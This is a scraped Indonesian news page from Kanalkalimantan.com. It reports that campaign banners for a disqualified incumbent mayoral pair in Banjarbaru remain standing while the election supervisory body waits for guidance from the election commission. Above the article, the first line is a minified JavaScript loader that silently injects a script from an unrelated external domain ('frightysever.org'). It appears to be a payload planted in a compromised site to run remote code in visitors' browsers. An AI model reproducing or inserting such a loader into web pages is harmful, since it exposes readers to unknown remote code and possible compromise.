(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pasca pembatalan salah satu pasangan Calon Wali Kota dan Wakil Wali Kota Banjarbaru, Alat Peraga Kampanye (APK) pasangan nomor urut 2 masih terbentang di sejumlah ruas jalan.
Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru masih belum mengambil keputusan terkait keberadaan APK milik pasangan Aditya Mufti Ariffin-Said Abdullah Al Kaff tersebut.
Koordinator Divisi Hukum, Pencegahan, Parmas dan Humas Bawaslu Banjarbaru, Bahrani menjelaskan bahwa pihaknya belum memerima arahan atau petunjuk teknis mengenai APK petahana Wali Kota ini.
Baca juga: Jadwal Debat Pilgub Kalsel Dimajukan, Panelis Bertambah
“Kami masih menunggu hasil koordinasi dari KPU Banjarbaru soal APK milik pasangan petahana yang pencalonannya dibatalkan,” ujar Bahrani, Minggu (10/11/2024).
Kendati demikian, pihaknya sebelumnya ini telah menyampaikan permasalahan ini ke dalam rapat koordinasi bersama KPU dan Komisi I DPRD Kota Banjarbaru.
“Jumat kemarin kami rapat, informasinya masih menunggu petunjuk teknis dari KPU RI. Dan sampai sekarang kami (Bawaslu Banjarbaru) belum dapat perkembangan dari mereka,” jelasnya.
Baca juga: Debat Pilwali Banjarbaru: Calon Tunggal vs Kotak Kosong
Sejak dirapatkan itu pula hingga hari ini pihaknya juga belum masih belum menerima arahan.
Oleh karenanya juga masih baliho bergambar wajah Paslon Aditya-Said Abdullah yang terpasang, dengan beragam ukuran. Termasuk dua APK yang difasilitasi KPU Banjarbaru juga masih terpampang.
“Jika sudah ada arahan dari KPU, tentu kami akan menjalankannya sesuai hasil pleno KPU Banjarbaru nanti,” ungkap dia.
Baca juga: Gubernur Sahbirin Pimpin Apel Pagi, Ini Kata Sekda Kalsel Roy Rizali
Bahrani menekankan, tindakan terhadap APK Paslon Aditya-Said Abdullah pasca pembatalan ujar Bahrani akan menyesuaikan perkembangan kondisi perpolitikan di Banjarbaru.
Menurutnya selama APK tersebut tidak menggangu kondusifitas pasca pembatalan, maka tidak ada urgensi pihaknya untuk melakukan tindak.
Namun sebaliknya, tindakan akan segera dilakukan apabila keberadaan APK itu berpotensi atau memicu terjadinya konflik di masyarakat.
“Yang jelas kami saat ini lebih mengedepankan tindakan dalam menjaga kondusifitas,” jelas dia. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Empat pejabat utama di lingkungan Kepolisian Resor (Polres) Banjarbaru bergeser. Apel serah… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menggelar rapat koordinasi Pelaporan Pertanggungjawaban Dana Hibah yang digelar… Read More
Pengabmasy Jurusan Kesehatan Gigi Poltekkes Kemenkes Banjarmasin Read More
KANALKALIMANTAN.COM, BANJARBARU - Roda pemerintahan Provinsi Kalimantan Selatan (Kalsel) dipimpin Pelaksana Harian (Plh) Gubernur Kalsel,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kejaksaan Negeri (Kejari) Kota Banjarbaru memusnahkan barang bukti dan barang rampasan hasil… Read More
KANALKALIMANTAN.COM - Di era digital yang semakin berkembang pesat ini, kualitas foto yang jernih dan… Read More
This website uses cookies.